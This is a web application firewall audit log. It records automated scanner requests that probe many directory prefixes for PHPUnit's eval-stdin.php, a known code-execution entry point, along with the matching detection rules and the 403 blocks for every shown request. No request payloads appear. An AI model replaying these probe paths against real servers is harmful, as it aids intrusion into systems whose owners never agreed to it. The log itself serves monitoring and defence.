Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKmUwu1RSkptiiNIX1KgAAAIM"]
Action: Intercepted (phase 2)
Stopwatch: 1789282969599079 76319 (- - -)
Stopwatch2: 1789282969599079 76319; combined=59856, p1=3906, p2=55669, p3=0, p4=0, p5=281, sr=1223, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c452896d-Z--

--aa49d31b-A--
[13/Sep/2026:10:02:51.574425 +0300] aqZKm0wu1RSkptiiNIX1KwAAAI4 106.51.22.217 33386 127.0.0.1 7081
--aa49d31b-B--
GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--aa49d31b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aa49d31b-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/laravel/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/laravel/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKm0wu1RSkptiiNIX1KwAAAI4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKm0wu1RSkptiiNIX1KwAAAI4"]
Action: Intercepted (phase 2)
Stopwatch: 1789282971514130 60337 (- - -)
Stopwatch2: 1789282971514130 60337; combined=59037, p1=355, p2=58395, p3=0, p4=0, p5=286, sr=161, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa49d31b-Z--

--9f514a44-A--
[13/Sep/2026:10:02:54.015098 +0300] aqZKnUwu1RSkptiiNIX1LAAAAI0 106.51.22.217 33396 127.0.0.1 7081
--9f514a44-B--
GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--9f514a44-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9f514a44-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/www/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/www/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKnUwu1RSkptiiNIX1LAAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKnUwu1RSkptiiNIX1LAAAAI0"]
Action: Intercepted (phase 2)
Stopwatch: 1789282973957792 57371 (- - -)
Stopwatch2: 1789282973957792 57371; combined=55646, p1=448, p2=54840, p3=0, p4=0, p5=358, sr=175, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9f514a44-Z--

--096c0e5b-A--
[13/Sep/2026:10:02:56.433345 +0300] aqZKoGM7dE9KgIIOpQhtuQAAAM8 106.51.22.217 53504 127.0.0.1 7081
--096c0e5b-B--
GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--096c0e5b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--096c0e5b-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/ws/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/ws/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKoGM7dE9KgIIOpQhtuQAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKoGM7dE9KgIIOpQhtuQAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789282976375365 58031 (- - -)
Stopwatch2: 1789282976375365 58031; combined=56641, p1=316, p2=56047, p3=0, p4=0, p5=278, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--096c0e5b-Z--

--ab5fc220-A--
[13/Sep/2026:10:02:58.212379 +0300] aqZKomM7dE9KgIIOpQhtugAAAM4 106.51.22.217 53506 127.0.0.1 7081
--ab5fc220-B--
GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--ab5fc220-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ab5fc220-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/yii/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/yii/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKomM7dE9KgIIOpQhtugAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKomM7dE9KgIIOpQhtugAAAM4"]
Action: Intercepted (phase 2)
Stopwatch: 1789282978156491 55934 (- - -)
Stopwatch2: 1789282978156491 55934; combined=54577, p1=288, p2=53981, p3=0, p4=0, p5=307, sr=140, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ab5fc220-Z--

--abc5e663-A--
[13/Sep/2026:10:03:00.513290 +0300] aqZKpEwu1RSkptiiNIX1LQAAAIc 106.51.22.217 53514 127.0.0.1 7081
--abc5e663-B--
GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--abc5e663-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--abc5e663-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/zend/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/zend/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKpEwu1RSkptiiNIX1LQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKpEwu1RSkptiiNIX1LQAAAIc"]
Action: Intercepted (phase 2)
Stopwatch: 1789282980451529 61832 (- - -)
Stopwatch2: 1789282980451529 61832; combined=59854, p1=1573, p2=57968, p3=0, p4=0, p5=312, sr=1266, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--abc5e663-Z--

--f7a0ed64-A--
[13/Sep/2026:10:03:03.057257 +0300] aqZKpmM7dE9KgIIOpQhtuwAAAMk 106.51.22.217 53524 127.0.0.1 7081
--f7a0ed64-B--
GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--f7a0ed64-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f7a0ed64-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/ws/ec/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/ws/ec/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKpmM7dE9KgIIOpQhtuwAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKpmM7dE9KgIIOpQhtuwAAAMk"]
Action: Intercepted (phase 2)
Stopwatch: 1789282982999335 58013 (- - -)
Stopwatch2: 1789282982999335 58013; combined=56575, p1=308, p2=55974, p3=0, p4=0, p5=292, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f7a0ed64-Z--

--242fe22f-A--
[13/Sep/2026:10:03:05.478273 +0300] aqZKqUwu1RSkptiiNIX1LgAAAJI 106.51.22.217 53540 127.0.0.1 7081
--242fe22f-B--
GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--242fe22f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--242fe22f-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/v2/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/v2/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKqUwu1RSkptiiNIX1LgAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKqUwu1RSkptiiNIX1LgAAAJI"]
Action: Intercepted (phase 2)
Stopwatch: 1789282985415816 62500 (- - -)
Stopwatch2: 1789282985415816 62500; combined=61177, p1=345, p2=60537, p3=0, p4=0, p5=294, sr=164, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--242fe22f-Z--

--8f671043-A--
[13/Sep/2026:10:03:07.900756 +0300] aqZKq0wu1RSkptiiNIX1LwAAAIs 106.51.22.217 39264 127.0.0.1 7081
--8f671043-B--
GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--8f671043-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--8f671043-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/tests/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/tests/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKq0wu1RSkptiiNIX1LwAAAIs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKq0wu1RSkptiiNIX1LwAAAIs"]
Action: Intercepted (phase 2)
Stopwatch: 1789282987825061 75795 (- - -)
Stopwatch2: 1789282987825061 75795; combined=61717, p1=3627, p2=57693, p3=0, p4=0, p5=396, sr=128, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8f671043-Z--

--4c93b673-A--
[13/Sep/2026:10:03:09.972995 +0300] aqZKrWM7dE9KgIIOpQhtvAAAANc 106.51.22.217 39272 127.0.0.1 7081
--4c93b673-B--
GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--4c93b673-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4c93b673-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/test/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
